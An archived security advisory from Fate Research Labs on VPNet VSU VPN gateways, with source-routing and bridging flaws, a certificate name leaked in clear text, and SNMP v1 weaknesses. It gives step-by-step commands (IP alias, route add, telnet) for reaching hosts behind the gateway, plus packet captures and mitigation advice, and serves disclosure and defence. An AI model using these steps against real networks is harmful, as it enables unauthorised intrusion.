COMMAND

    VPN Service Units (VSU)

SYSTEMS AFFECTED

    all VSU VPN Service Units

PROBLEM

    Following is based on a f8labs Security Advisory.  VPNremote is  a
    Windows  compatible   software  product   that  provides    secure
    authenticated  access   to  enterprise   network  resources    and
    applications  over  the  Internet.   As  a  building  block of the
    VPNware  System,  VPNremote  enables  enterprises  to leverage the
    global access  and low  cost of  public networks  for their remote
    access users.   Using standards-based IPSec  technology, VPNremote
    extends  the  integrity  and  confidentiality  of  data  traveling
    outside   of   enterprise   networks   by   providing  encryption,
    compression, and authentication.

    VSU's  are  dedicated,  hardware-based  VPN  gateways  that enable
    secure data  communications over  public IP  networks such  as the
    Internet.  As a building block of the VPNware System, VSUs provide
    standards-based  IPSec  services  that  enable  organizations   to
    securely  connect  remote  users,  branch  offices,  partners, and
    customers to enterprise networks.   VSUs provide unmatched  levels
    of   performance,   manageability,   and   security   that   allow
    organizations of  all sizes  to take  full advantage  of the  cost
    savings,   productivity,   and   business   relationship-enhancing
    benefits of virtual private networks.

    VSUs give you  the confidence to  run your business-critical  data
    and applications across public IP  networks.  How?  By  delivering
    IPSec 3DES encryption, data integrity and authentication, and  key
    management.    VSUs   support   a   range   of   two-factor   user
    authentication  methods  --  RADIUS  servers,  RSA SecurID tokens,
    SmartCards, and  digital certificates  -- so  you can  be sure  of
    who's accessing your VPN.

    All VSUs offer additional robustness via resilient VPN  tunneling.
    VSUs  continually  sense  endpoint  availability and automatically
    transition tunnels to a secondary VSU in the event of a data  link
    failure.   The  VSU-7500  offers  an  additional  level  of  fault
    tolerance by  providing high-availability  hardware features  such
    as  redundant   Ethernet  interfaces,   IPSec  processors,   power
    supplies, and cooling fans. The complete VSU series are  delivered
    in  tamper-evident  enclosures  that  meet  the FIPS 140-1 Level 2
    standard.

    PROBLEM 1a: Remote Attack
    =========================
    By  sending  SOURCE  ROUTED  packets  to  the  target  VSU,  it is
    possible to  force the  VSU to  forward unauthorized  traffic from
    the  public  interface  on  the  VSU  to any host on the protected
    network.

    This  is  done  WITHOUT  exchanging  keys,  without  providing   a
    username/pass,  or  any  other  authentication  at  all.   It is a
    design-flaw  in  the  VSU  NOS  where  the  TCP  stack accepts and
    forwards SOURCE ROUTED packets.

    In  the  beginning,  f8  noticed  that  the VSU would forward ICMP
    packets to its  private NIC.   We then wanted  to see if  it would
    forward ICMP packets  to a host  on the protected  (priv) network.
    Their theory was correct.

    Wanting to take  this vulnerability further,  f8 wanted to  see if
    it  would  also  forward  TCP  packets  to  the target host on the
    private network.  Their theory again, was correct.

    While demonstrating the exploit we  wanted to put the VSU  in full
    blocking  mode,  which  forces  the  VSU  to  drop  all   incoming
    connections  accept  authorized  VPN  traffic.   However, to their
    surprise, f8 were still able to  get both ICMP and TCP packets  to
    the remote target  host behind the  VSU.  Wanting  to see if  they
    could create actual telnet sessions with the remote host, f8  used
    source routing  and were  amazed to  find that  it could  be done.
    The remote  host was  sending and  routing packets  back to  their
    machine while configured in full blocking mode.

    Source code has been created by Fate Research for use in a  remote
    attack outside of a lab environment, however, due to the  severity
    of this attack we have published a broken version of the  program,
    which  can  be  found  at  http://www.fatelabs.com  for  proof  of
    concept.  However, f8 recommends demonstrating this attack through
    the local attack outlined below (a lot less headache).

    Refer  to  Appendix  B  to  review  what  was  done  to the target
    machine, as well as packets  we grabbed with a sniffer  running on
    the target host.

    PROBLEM 1b: Local Attack
    ========================
    By adding an IP  alias to the NIC  card of the SOURCE  HOST, an IP
    belonging to the same segment  of the private network on  the VSU,
    it is possible  to bridge sessions  THROUGH the VSU  to a host  on
    the private network.

    This attack is possible due to a flaw in the bridging code for the
    VSU's NOS.

        1. Add  an  IP  alias  to  the  NIC  of the SOURCE HOST,  e.g.
           192.168.0.5
        2. Add the necessary routes:
           [root@moo /]# route add -net 192.168.0.0/16 gw 192.168.0.5
        3. Check connectivity:
           [root@moo /]# ping 192.168.0.3
           PING 192.168.0.3 (192.168.0.3) from 192.168.0.5 : 56(84) bytes of data.
           64 bytes from 192.168.0.3: icmp_seq=0 ttl=255 time=0.7 ms
           64 bytes from 192.168.0.3: icmp_seq=1 ttl=255 time=0.6 ms
           64 bytes from 192.168.0.3: icmp_seq=2 ttl=255 time=0.6 ms

           --- 192.168.0.3 ping statistics ---
           3 packets transmitted, 3 packets received, 0% packet loss
           round-trip min/avg/max = 0.6/0.6/0.7 ms

           /* Eww la la */

           [root@moo /]#

    PROBLEM 2:
    ==========
    VPNet  has  a  VPN  client   called  VPNRemote,  which  uses   SSL
    encryption to negotiate  connections with the  VSU.  However,  the
    VSU responds  back in  clear text  containing the  VSU Certificate
    name,  as  well  as  the  company  address  and  location.    This
    Certificate  name  is  used  prior  to  connecting  to the VSU and
    required before starting the  authentication process.  So  this of
    course is the  missing key in  being able to  start a brute  force
    session  against  the  VSU  or  even  open  a  connection.  f8 has
    provided simple steps  in receiving this  for a further  attack on
    the VSU in APPENDIX A.  See below.

    PROBLEM 3:
    ==========
    f8  team  would  like  to  place  emphasis  on the fact that VPNet
    devices utilize SNMP v1.  Since it's inception, problems in  clear
    text and numerous  other problems associated  with v1 have  caused
    its  developers  to  create  version2  and  now 3.  Because of the
    inherent security  problems with  v1 of  SNMP, it  is advised that
    administrators  disable  it  where  possible  until VPNet upgrades
    it's NOS  to support  v2 or  3.   See APPENDIX  C for  SNMP packet
    traces.

    By brute forcing  the community string  on the VSU's  (default set
    to PUBLIC), it  is possible to  utilize the read-only  information
    from SNMP to  retrieve the private  IP network information  of the
    target VSU.   This is  the preliminary  information needed  in the
    source-routed  attack  on  the  vsu.   Such  SNMP information will
    provide IP information of the protected segment in the VPN.

    APPENDIX A:
    ===========
    Go  ahead  and  install  the  windows-based  VPN client that VPNet
    provides.  Setup a  new profile and put  in any text you  wish for
    all of the required  fields.  After this  you will want to  put in
    the IP  address of  the target  VSU.   Go ahead  and attempt  your
    connection with a sniffer running  in the background.  You  should
    receive something similar to the following.

        No:                 9
        MAC source address: 18:43:11:270
        MAC dest address:   00 D0 06 B7 DC 54
        Frame:              00 00 21 EC 69 B0
        Protocol:           IP
        Source IP address:  TCP
        Dest IP address:    XXX.XXX.XXX.XXX
        Source port:        XXx.XXX.XXX.XXX
        Destination port:   1443
        SEQ:                3511
        ACK:                2092418050
        Packet size:        82361859
        
        Packet data:
        0000:  00 00 21 EC 69 B0 00 D0 06 B7 DC 54 08 00 45 00 ..!.i......T..E.
        0010:  02 28 24 C1 00 00 32 06 66 95 40 A2 81 0B 18 E5 .($...2.f.@.....
        0020:  20 E8 05 A3 0D B7 7C B7 C4 02 04 E8 BE 03 50 10  .....|.......P.
        0030:  10 00 2B C2 00 00 16 03 00 00 4A 02 00 00 46 03 ..+.......J...F.
        0040:  00 3A 01 99 8B 4D BA FC DD 02 CE BA 30 04 8D 9B .:...M......0...
        0050:  F7 2E 5F F8 32 06 01 B3 D6 E0 03 79 F5 20 07 B9 .._.2......y. ..
        0060:  E0 20 ED 8A A7 46 96 88 D4 EC D1 44 0E 00 92 10 . ...F.....D....
        0070:  9B DA 94 F1 7C 65 36 B3 E0 C0 8E 9D 93 BB 41 6D ....|e6.......Am
        0080:  33 B9 00 04 00 16 03 00 02 48 0B 00 02 44 00 02 3........H...D..
        0090:  41 00 02 3E 30 82 02 3A 30 82 01 A3 02 02 20 61 A..>0..:0..... a
        00A0:  30 0D 06 09 2A 86 48 86 F7 0D 01 01 04 05 00 30 0...*.H........0
        00B0:  67 31 0B 30 09 06 03 55 04 06 13 02 55 53 31 0B g1.0...U....US1.
        00C0:  30 09 06 03 55 04 08 13 02 43 41 31 11 30 0F 06 0...U....CA1.0..
        00D0:  03 55 04 07 13 08 53 61 6E 20 4A 6F 73 65 31 21 .U....San Jose1!
        00E0:  30 1F 06 03 55 04 0A 13 18 56 50 4E 65 74 20 54 0...U....VPNet T
        00F0:  65 63 68 6E 6F 6C 6F 67 69 65 73 2C 20 49 6E 63 echnologies, Inc
        0100:  2E 31 15 30 13 06 03 55 04 03 14 0C 56 50 4E 65 .1.0...U....VPNe
        0110:  74 43 41 5F 37 5F 39 38 30 1E 17 0D 39 39 31 30 tCA_7_980...9910
        0120:  32 32 30 33 33 31 33 33 5A 17 0D 30 39 31 30 31 22033133Z..09101
        0130:  39 30 33 33 31 33 33 5A 30 63 31 0B 30 09 06 03 9033133Z0c1.0...
        0140:  55 04 06 13 02 55 53 31 0B 30 09 06 03 55 04 08 U....US1.0...U..
        0150:  13 02 43 41 31 11 30 0F 06 03 55 04 07 13 08 53 ..CA1.0...U....S
        0160:  61 6E 20 4A 6F 73 65 31 21 30 1F 06 03 55 04 0A an Jose1!0...U..
        0170:  13 18 56 50 4E 65 74 20 54 65 63 68 6E 6F 6C 6F ..VPNet Technolo
        0180:  67 69 65 73 2C 20 49 6E 63 2E 31 11 30 0F 06 03 gies, Inc.1.0...
        0190:  55 04 03 13 08 56 53 55 31 30 37 38 37 30 81 9F U....VSU107870..
        
        /* <--- /* Here we have the valid certificate name */ ------ ^^^^^^^^^
        
        01A0:  30 0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 0...*.H.........
        01B0:  81 8D 00 30 81 89 02 81 81 00 EA 90 9D A9 04 17 ...0............
        01C0:  81 F7 21 39 7A 1C 68 9B 14 D4 74 E4 79 89 B8 B1 ..!9z.h...t.y...
        01D0:  ED 0E 1C 4D 30 06 AC 5F 9B F0 43 FE 75 9B 6D B2 ...M0.._..C.u.m.
        01E0:  69 80 9B 20 3E 0D D4 EE 4A FC 01 D5 45 66 04 80 i.. >...J...Ef..
        01F0:  91 E3 7A CD A2 75 81 DD ED CF A7 D2 EF 49 DE D7 ..z..u.......I..
        0200:  09 6A 32 1B 9A 33 36 FE 14 83 8E EA 10 A6 0B 54 .j2..36........T
        0210:  01 33 71 7D 9C C2 E1 9E B4 CC 50 94 E9 B0 F3 E1 .3q}......P.....
        0220:  87 46 78 73 5B 4E 5E 60 CC 01 C8 C1 02 95 4D 1A .Fxs[N^`......M.
        0230:  98 6E 81 FF A4 04                               .n....

    APPENDIX B:
    ===========
    The below  diagram was  performed in  a lab  setup.   There was no
    Internet connectivity in  the scenario.   The exploit however  has
    been  successfully  performed  across  the  Internet  using SOURCE
    ROUTED sessions.

           ---- 192.168.1.1   192.168.1.2/192.168.2.1            192.168.2.2 ----
          | \/ |                      ------                                | \/ |
          | /\ | ------------------> |      | ----------------------------> | /\ |
           ----                       ------                                 ----
          ROUTER A                     VSU                                  ROUTER B
        
        
        # telnet 192.16.8.2.2 /route: 192.168.1.2
        
        
        # On a Windows Box:
        1. Added IP alias to NIC Card, 192.168.2.3
        2. Added a route:
           C:\> route add 192.168.2.0 MASK 255.255.255.0 192.168.1.2
                          ^ priv nic net   ^ class C     ^ pub nic of vsu
        3. C:\>ping 192.168.2.2
        
           Pinging 192.168.2.2 with 32 bytes of data:
        
           Reply from 192.168.2.2: bytes=32 time<10ms TTL=255
           Reply from 192.168.2.2: bytes=32 time<10ms TTL=255
           Reply from 192.168.2.2: bytes=32 time<10ms TTL=255
           Reply from 192.168.2.2: bytes=32 time<10ms TTL=255
        
           Ping statistics for 192.168.2.2:
               Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
           Approximate round trip times in milli-seconds:
               Minimum = 0ms, Maximum =  0ms, Average =  0ms
        4. C:\> telnet 192.168.2.2
        
           Red Hat Linux release 6.2 (Zoot)
           Kernel 2.2.14-5.0 on an i586
           login:

SOLUTION

    SOURCE  ROUTE  ISSUES:  VPNet  has  responded to the source-routed
    sessions issue  and has  created a  patch for  the NOS.   However,
    VPNet does  not wish  to have  this patch  available to the public
    domain,  rather,  built  into  the  next  release  of  3.X.   Fate
    Research  Labs  is  astonished  by  VPNet's response and recommend
    that users  take an  immediate course  of action  to protect their
    networks against this attack.  f8 suggest proper network  topology
    design through  the use  of a  Firewall as  well as  ensuring that
    the DMZ is configured as a leg off the Firewall so that the  local
    exploit above can not be performed.  Verify proper firewall  rules
    and ensure that the  firewall denies off all  incoming connections
    accept that of  required by the  IKE negotiations and  VPN traffic
    to the VSU.

    BRIDGING MODE ISSUES:  VPNet has been  notified of these  bridging
    issues.  It is an inherent  design flaw in their NOS that  bridges
    over incoming packets containing a SOURCE IP of the VSU's  private
    network.  No  patch or resolution  has been made  or identified as
    of this writing.

    VPNet has  also been  made aware  of the  other issues surrounding
    this advisory.  They have patched them in their next NOS  release.
    Fate Research Labs has tested  their patch against our attack  and
    it proves to be  a successful fix.   f8 do however recommend  that
    users contact their  local VPNet office  and complain about  their
    ridiculous notion to not make this patch readily available to  its
    customers.